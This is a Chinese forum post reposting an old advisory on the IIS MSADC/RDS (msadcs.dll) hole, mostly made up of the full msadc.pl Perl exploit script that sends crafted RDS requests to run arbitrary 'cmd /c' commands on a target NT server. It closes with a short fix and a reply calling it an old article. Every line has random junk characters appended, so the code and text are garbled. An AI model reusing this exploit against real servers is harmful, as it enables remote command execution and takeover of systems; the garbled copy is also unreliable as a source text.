社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166701阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) o%!s/Z1  
u#y#(1 =  
涉及程序: Qz89=#W  
Microsoft NT server c^rWS&)P  
({zWyl  
描述: D |=L)\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 &2Ef:RZF  
 =W&m{F96  
详细: )FSEHQ  
如果你没有时间读详细内容的话,就删除: YG /@=Z.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll XG!6[o;  
有关的安全问题就没有了。 c39j|/!;Y  
q65]bs4M  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 5$$# d_Gj  
IT7],pM  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P,xIDj4d  
关于利用ODBC远程漏洞的描述,请参看: O c.fvP^ZD  
h$}PQ   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _%er,Ed  
f[ 2PAz  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 61b*uoq0w?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #.!#"8{0_  
U{j4FlB  
这里不再论述。 4AKr.a0q  
# E_S..  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )&O6d .  
^BM !TQ%!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <W>A }}q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ][b|^V  
c1r+?q$f  
a]P w:lT  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ^_i)XdPU  
OrYN-A4{  
#!perl s7HKgj  
# vcsSi%M\U  
# MSADC/RDS 'usage' (aka exploit) script &AOGg\  
# :p,|6~b$  
# by rain.forest.puppy YU"/p|!1  
# -8Hc M\b  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me C #iZAR  
# beta test and find errors! [*Ai@:F  
G0|}s&$yL  
use Socket; use Getopt::Std; Z'>UR.g  
getopts("e:vd:h:XR", \%args); ;[UI ]?A%  
#g0_8>t  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 8nu!5 3  
m[^ )Q9o}  
if (!defined $args{h} && !defined $args{R}) { +R L@g*`  
print qq~ b_a k@LYiu  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Y,GlAr s4  
-h <host> = host you want to scan (ip or domain) >Oj$ Dn=  
-d <seconds> = delay between calls, default 1 second ]hS<"=oj  
-X = dump Index Server path table, if available K!Fem6R  
-v = verbose < K!r\^  
-e = external dictionary file for step 5 e"wz b< b  
YPGzI]\  
Or a -R will resume a command session k2$pcR,WM  
=1dczJHV  
~; exit;} W4&8  
Pj]^ p{>  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 'G~i;o  2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _S7?c^:~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _AFje  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Wz=& 0>Mm_  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} T0")Ryu  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;l _b.z0^6  
9#9bm  
if (!defined $args{R}){ $ret = &has_msadc; =DfI^$Lr:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k kAg17 ^  
Nwt[)\W `  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" u&1M(~Ub=  
. "cmd /c "; 2,q*8=?{6P  
$in=<STDIN>; chomp $in; }=)u_q  
$command="cmd /c " . $in ; d@g29rs  
G-2~$ u  
if (defined $args{R}) {&load; exit;} }dzVwP=  
'%t$m f!nV  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; K"XwSZ/  
&try_btcustmr; VD7-;  
U ->vk{v  
print "\nStep 2: Trying to make our own DSN..."; Z(c SM  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hWbu Z%  
]gVA6B?&9  
print "\nStep 3: Trying known DSNs..."; rgCC3TX  
&known_dsn; MbCz*oW  
Yb 5@W/'  
print "\nStep 4: Trying known .mdbs..."; &odQ&%X  
&known_mdb; Jj [3rt?8  
O0z-jZ,])  
if (defined $args{e}){ S+[,\>pY  
print "\nStep 5: Trying dictionary of DSN names..."; }NwmZ w>_  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Qx E%C  
 2=;ZJ  
print "Sorry Charley...maybe next time?\n"; fJ.=,9:<  
exit; qXq#A&  
/<LjD  
############################################################################## paD[4L?4Hk  
V.u^;gr3  
sub sendraw { # ripped and modded from whisker eWm'eO  
sleep($delay); # it's a DoS on the server! At least on mine... ym6Emf]  
my ($pstr)=@_; =Xr{ Dg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || n8!|}J  
die("Socket problems\n"); ~I> |f  
if(connect(S,pack "SnA4x8",2,80,$target)){ {@7UfJh>  
select(S); $|=1; 1_LKqBgo  
print $pstr; my @in=<S>; [= E=H*j  
select(STDOUT); close(S); g~K-'Nw  
return @in; >BO!jv!a  
} else { die("Can't connect...\n"); }} $aTo9{M^  
CpN*1s})d  
############################################################################## g=4P-i3   
E5P.x^  
sub make_header { # make the HTTP request 1iR\M4?Frf  
my $msadc=<<EOT F'{T[MA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 "N%W5[C{  
User-Agent: ACTIVEDATA fy>3#`T-  
Host: $ip mXJG &EA  
Content-Length: $clen kp[&SKU c  
Connection: Keep-Alive mL}Wan  
$?kTS1I(  
ADCClientVersion:01.06 ;+f(1=x  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ^v;8 (eF  
C;ha2UV0H  
--!ADM!ROX!YOUR!WORLD! *yI( (G/  
Content-Type: application/x-varg Aj\m57e,6  
Content-Length: $reqlen O>X!78]#K  
d<\X)-"  
EOT <4?(|Vh[m]  
; $msadc=~s/\n/\r\n/g; Us&~d"n  
return $msadc;} PR7bu%Y*eD  
z9AX8k(B6  
############################################################################## o~:({  
}236{)DuN  
sub make_req { # make the RDS request J{uqbrJICr  
my ($switch, $p1, $p2)=@_; /WAOpf5  
my $req=""; my $t1, $t2, $query, $dsn; "wV7PSbM  
8.`5"9Vh  
if ($switch==1){ # this is the btcustmr.mdb query 2rP!]  
$query="Select * from Customers where City=" . make_shell(); x?R1/iHv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1RQM-0W,  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} r`0oI66B/  
bq5?fPBrq  
elsif ($switch==2){ # this is general make table query 5X-d,8{w _  
$query="create table AZZ (B int, C varchar(10))"; :,^x?'HK  
$dsn="$p1";} Mm"0Ip2"  
ug`Jn&x!  
elsif ($switch==3){ # this is general exploit table query W6 *5e{  
$query="select * from AZZ where C=" . make_shell(); ''EFh&F  
$dsn="$p1";} @q" #.?>s  
8`w#)6(V  
elsif ($switch==4){ # attempt to hork file info from index server Kzfy0LWM  
$query="select path from scope()"; UD]RWN  
$dsn="Provider=MSIDXS;";} 3 _DJ  
@2A&eLw LH  
elsif ($switch==5){ # bad query 5@Xy) z  
$query="select"; s)~H_,  
$dsn="$p1";} {1wjIo"ptg  
}cy<$=c#E_  
$t1= make_unicode($query); v.H@Ey2  
$t2= make_unicode($dsn); Q S.w#"X[  
$req = "\x02\x00\x03\x00"; \G]vTK3  
$req.= "\x08\x00" . pack ("S1", length($t1)); W(*?rA-PP  
$req.= "\x00\x00" . $t1 ; ~c GH+M@  
$req.= "\x08\x00" . pack ("S1", length($t2)); {D8[pG%z  
$req.= "\x00\x00" . $t2 ; s\1c.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ?[Qxq34  
return $req;} M}F) P&Y  
Nf{tC9l  
############################################################################## F, p~O{ Q  
AqP7UL  
sub make_shell { # this makes the shell() statement .[:*bo3  
return "'|shell(\"$command\")|'";} IY9##&c3>  
9"k^:}8.  
############################################################################## wd~!j&`a  
yB^_dE  
sub make_unicode { # quick little function to convert to unicode K0?:?>*b#  
my ($in)=@_; my $out; ?`D/#P  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3LD`Ep   
return $out;} wTY8={p]  
PP)-g0^@  
############################################################################## q ]o ^Y  
y]ZujfW7  
sub rdo_success { # checks for RDO return success (this is kludge) lAPvphO  
my (@in) = @_; my $base=content_start(@in); A Pu cA  
if($in[$base]=~/multipart\/mixed/){ r$Ck:Q}  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} zc#aQ.  
return 0;} 1 9C=' TMS  
2f$6}m'Ad  
############################################################################## mC(q8%/;  
tO ^KCnL  
sub make_dsn { # this makes a DSN for us Od:, r  
my @drives=("c","d","e","f"); `[Xff24(eb  
print "\nMaking DSN: "; 9W <I~  
foreach $drive (@drives) { =m?x|Zc_v  
print "$drive: "; ta 66AEc9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . wtw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H#;-(`F  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m0 k~8^L@f  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `by\@xQ)  
return 0 if $2 eq "404"; # not found/doesn't exist sC.aT(meJ  
if($2 eq "200") { zLiFk<G@Xi  
foreach $line (@results) { #{kwl|c   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?R}a,k  
} return 0;} B@W`AD1^{  
$NtbI:e{  
############################################################################## le-Q&*  
MdOQEWJ$|  
sub verify_exists { 5h2@n0  
my ($page)=@_; $fwv'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]%PQ3MT.  
return $results[0];} T~rPpi&  
!5P\5WF~Y  
############################################################################## O+o1R24JI  
Je#vl4<L  
sub try_btcustmr { T.sib&R  
my @drives=("c","d","e","f"); .*s1d)\:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b!R\u1b  
,wN>,(  
foreach $dir (@dirs) { ']hB_ 4v  
print "$dir -> "; # fun status so you can see progress #FBq8iJ  
foreach $drive (@drives) { <QyJJQM  
print "$drive: "; # ditto L+&eY?A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;9r`P_r  
$reqlenlen=length( "$reqlen" ); aD1G\*AFJ  
$clen= 206 + $reqlenlen + $reqlen; !kl9X-IiI  
VE<&0d<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); y%21`y&Os  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} z;_fO>u:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Ls#= R  
^nYS @  
############################################################################## !?o661+b  
v^a. b  
sub odbc_error { 8()L}@y  
my (@in)=@_; my $base; e[HP]$\   
my $base = content_start(@in); X/_e#H0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this <303PPX^6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $Q[a^V~:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I&oHVFY+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  Sxrbhnx  
return $in[$base+4].$in[$base+5].$in[$base+6];} Y7yh0r_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4|ryt4B  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .~+I"V{y F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} !}D!_z,)u  
/Ot=GhN]  
############################################################################## q^ {Xn-G  
0jsU^m<g  
sub verbose { /hPgOaB  
my ($in)=@_; +1Ha,O k  
return if !$verbose; W 2VH?-Gw  
print STDOUT "\n$in\n";} f-N:  
NJG-~ w  
############################################################################## 7-"ml\z  
$d4^e&s  
sub save { Ds4n>V,o  
my ($p1, $p2, $p3, $p4)=@_; NrE&w H:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 36154*q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; e7f3dqn0  
close OUT;}  o *2TH2  
d&: ABI  
############################################################################## _cqB p7  
jg]_'^pVzr  
sub load { X'4g\)*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >5{Z'UWxh  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); >yC1X|d~t  
@p=<IN>; close(IN); b{|Ha3;w  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); sgdxr!1?y  
$target= inet_aton($ip) || die("inet_aton problems"); w /$4 Rv+S  
print "Resuming to $ip ..."; >t|u 8/P  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $=7[.z&  
if($p[1]==1) { TFbMrIF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; yUF<qB  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; c <8s \2  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); m}\G.$h4  
if (rdo_success(@results)){print "Success!\n";} P9~7GFas|  
else { print "failed\n"; verbose(odbc_error(@results));}} 6/ir("LK  
elsif ($p[1]==3){ $;1#gq%  
if(run_query("$p[3]")){ isaDIl;L/  
print "Success!\n";} else { print "failed\n"; }} {VBx;A3*I  
elsif ($p[1]==4){ +H5= zf2  
if(run_query($drvst . "$p[3]")){ `+_UG^aeW  
print "Success!\n"; } else { print "failed\n"; }} " (c#H  
exit;} A;nrr1-0  
rPVz !(;k  
############################################################################## ;Wa4d`K  
.4c*  _$  
sub create_table { tMxa:h;/x  
my ($in)=@_; p._BG80  
$reqlen=length( make_req(2,$in,"") ) - 28; 7iCH$}  
$reqlenlen=length( "$reqlen" ); :<ye:P1s  
$clen= 206 + $reqlenlen + $reqlen; okfGd= &  
my @results=sendraw(make_header() . make_req(2,$in,"")); (| DmYn!  
return 1 if rdo_success(@results); E/mp.f2!  
my $temp= odbc_error(@results); verbose($temp); D_oGhQYY4  
return 1 if $temp=~/Table 'AZZ' already exists/; Xx_ v>Jn!  
return 0;} C8qA+dri  
lub(chCE[  
############################################################################## w5 nzS)B:u  
*I)o Dq3  
sub known_dsn { hGmJG,H  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go R)% Jr.U  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G+N &(:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", QAYhAOS|e  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x/*ndH  
UxI0Of&:  
foreach $dSn (@dsns) { x<#Z3Kla  
print "."; =Nn&$h l  
next if (!is_access("DSN=$dSn")); ?;!d5Xuu  
if(create_table("DSN=$dSn")){ (R)\  
print "$dSn successful\n"; CR*R'KX D%  
if(run_query("DSN=$dSn")){ M`!\$D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b0 ))->&2  
print "Something's borked. Use verbose next time\n";}}} print "\n";} rYUhGmg`  
2 2K:[K  
############################################################################## %/KN-*  
x ;V7D5 q  
sub is_access { a nK7j2  
my ($in)=@_; 6'6 "Ogu%'  
$reqlen=length( make_req(5,$in,"") ) - 28; Q+(}nz4  
$reqlenlen=length( "$reqlen" ); jQjtO"\JG  
$clen= 206 + $reqlenlen + $reqlen; X]6Hgz66  
my @results=sendraw(make_header() . make_req(5,$in,"")); R*~<?}Rr  
my $temp= odbc_error(@results); #~J)?JL  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); C'x?riJ/  
return 0;} |0 #J=am  
icW?a9b&  
############################################################################## HMsTm}d  
f,GF3vu"  
sub run_query { X;JptF^  
my ($in)=@_; p9]008C89  
$reqlen=length( make_req(3,$in,"") ) - 28; ?c7 12a ?  
$reqlenlen=length( "$reqlen" ); i=$##  
$clen= 206 + $reqlenlen + $reqlen; o.yuz+  
my @results=sendraw(make_header() . make_req(3,$in,"")); KKm &~^c  
return 1 if rdo_success(@results); fD1J@57  
my $temp= odbc_error(@results); verbose($temp); /mLOh2 T  
return 0;} vt0XCUnK  
zbsdK  
############################################################################## W]Z;=-CBr  
nO^aZmSu  
sub known_mdb { "&;>l<V  
my @drives=("c","d","e","f","g"); 28 qTC?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,$irJz F  
my $dir, $drive, $mdb; II$B"-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !yAlb#yu  
*FoH '\=  
# this is sparse, because I don't know of many * ^R?*vNs  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  qW8sJ=  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", A[QUFk(  
"\\system32\\certmdb.mdb", 5~&9/ ALk5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s=0z%~H  
g?,\bmHE  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w"Gci~]bXU  
"\\cfusion\\cfapps\\forums\\forums_.mdb", f 7B)iI!  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G gmv(!  
"\\cfusion\\cfapps\\security\\realm_.mdb", hM~9p{O  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Fd@n#DR `  
"\\cfusion\\database\\cfexamples.mdb", yPG,+uQ$.  
"\\cfusion\\database\\cfsnippets.mdb", !{'C.sb?~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", GSzb  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'p3JYRT$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", m$^Wyk}  
"\\cfusion\\database\\smpolicy.mdb", (]* Ro 8  
"\\cfusion\\database\cypress.mdb", olc7&R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", YlfzHeN1  
"\\website\\cgi-win\\dbsample.mdb", z~b5K\/1B  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  + ]I7]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ktlI(#\%  
); #these are just e UMOV]h  
foreach $drive (@drives) { R42+^'af  
foreach $dir (@dirs){ ug]WIG7 S  
foreach $mdb (@sysmdbs) { {%g]Ym=  
print "."; AE`z~L,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ m x`QBJ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; G 3))3]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >bQ'*!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $07;gpZt  
} else { print "Something's borked. Use verbose next time\n"; }}}}} qffVF|7  
a3t[Tk;  
foreach $drive (@drives) { F@ Sw  
foreach $mdb (@mdbs) { Mr/;$O{  
print "."; (jj=CLe  
if(create_table($drv . $drive . $dir . $mdb)){ "^/3?W>  
print "\n" . $drive . $dir . $mdb . " successful\n"; }<m'Nkz<X  
if(run_query($drv . $drive . $dir . $mdb)){ y5>X0tT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; zfS0M  
} else { print "Something's borked. Use verbose next time\n"; }}}} Mn`);[  
} &y\7pAT\  
1 Hw%DJ  
############################################################################## D(bQFRBY6"  
IIj :\?r  
sub hork_idx { [wp(s2=  
print "\nAttempting to dump Index Server tables...\n"; GYp}V0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";  862e  
$reqlen=length( make_req(4,"","") ) - 28; e`]x?t<U4/  
$reqlenlen=length( "$reqlen" ); "{TVd>9_  
$clen= 206 + $reqlenlen + $reqlen; )DR/Xu;b  
my @results=sendraw2(make_header() . make_req(4,"","")); {=3&_/9s){  
if (rdo_success(@results)){ Whd.AaD\  
my $max=@results; my $c; my %d; pi?$h"y7Q  
for($c=19; $c<$max; $c++){ B!J~ t8  
$results[$c]=~s/\x00//g; "rHcsuSEw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; MS7rD%(,'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 4%refqWK  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [2*?b/q3J  
$d{"$1$2"}="";} ^T>P  
foreach $c (keys %d){ print "$c\n"; } 5/w4[d  
} else {print "Index server doesn't seem to be installed.\n"; }} }\#u~k!l  
<m"fzT<"  
############################################################################## 9(-f)$u  
 }BFX7X  
sub dsn_dict { A,PF#G(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3Gk\3iU!  
while(<IN>){ bd'io O  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; J?R\qEq%  
next if (!is_access("DSN=$dSn")); a_z1S Z2[  
if(create_table("DSN=$dSn")){ \+iZdZD  
print "$dSn successful\n"; Z;'5A2  
if(run_query("DSN=$dSn")){ ]a=n(`l?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >;^t)6  
print "Something's borked. Use verbose next time\n";}}} `f)X!S2l  
print "\n"; close(IN);} 7!;48\O]w  
8x~'fzf;Sq  
############################################################################## L9Z\|L5  
U;w| =vM  
sub sendraw2 { # ripped and modded from whisker H`T8ydNXa  
sleep($delay); # it's a DoS on the server! At least on mine... dy"7Wl]hi7  
my ($pstr)=@_; O\X=vh/D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || '.gLqm}%  
die("Socket problems\n"); } q?*13iy(  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2G&H[`  
print "Connected. Getting data"; ;;>G}pG  
open(OUT,">raw.out"); my @in; *L{^em#b  
select(S); $|=1; print $pstr; 3UgPVCT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +*`>7m<^  
close(OUT); select(STDOUT); close(S); return @in; $z,rN\[  
} else { die("Can't connect...\n"); }} k*ZYT6Z?  
qZ<|A%WQ  
############################################################################## $aC%&&+wG  
-Pp =)_O  
sub content_start { # this will take in the server headers O5v~wLx9e  
my (@in)=@_; my $c; ?m bI6fYv  
for ($c=1;$c<500;$c++) { cv7.=*Kb;  
if($in[$c] =~/^\x0d\x0a/){ .22}= z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3kW%,d*_  
else { return $c+1; }}} dF+R q|n{  
return -1;} # it should never get here actually yD yMI  
=`+c}i?  
############################################################################## Uqd2{fji=#  
$wm8N.I3I  
sub funky { 3J}/<&wv  
my (@in)=@_; my $error=odbc_error(@in); $_+.D`vx`  
if($error=~/ADO could not find the specified provider/){ }>yQ!3/i  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v$~ZT_"(9  
exit;} QI4a@WB]ok  
if($error=~/A Handler is required/){ %df[8eX{  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8,&pX ga  
exit;} 3e?a$~9  
if($error=~/specified Handler has denied Access/){ 1#V&'A  
print "\nServer has custom handler filters (they most likely are patched)\n"; i:sb_U+M  
exit;}} #@Rtb\9  
JPM W|JT  
############################################################################## BDcA_= ^R&  
w9,w?%F  
sub has_msadc { 115zvW  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); `{+aJ0<S  
my $base=content_start(@results); i{MzQE+_^  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,3bAlc8D7  
return 0;} W~?mr! `  
[ J6q(} f  
######################## l.%[s6  
- -ZSl  
yL"pzD`[H  
解决方案: *k !zdV  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll /rzZU}3[  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 k-|b{QZ8!;  
w<G'gi]  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五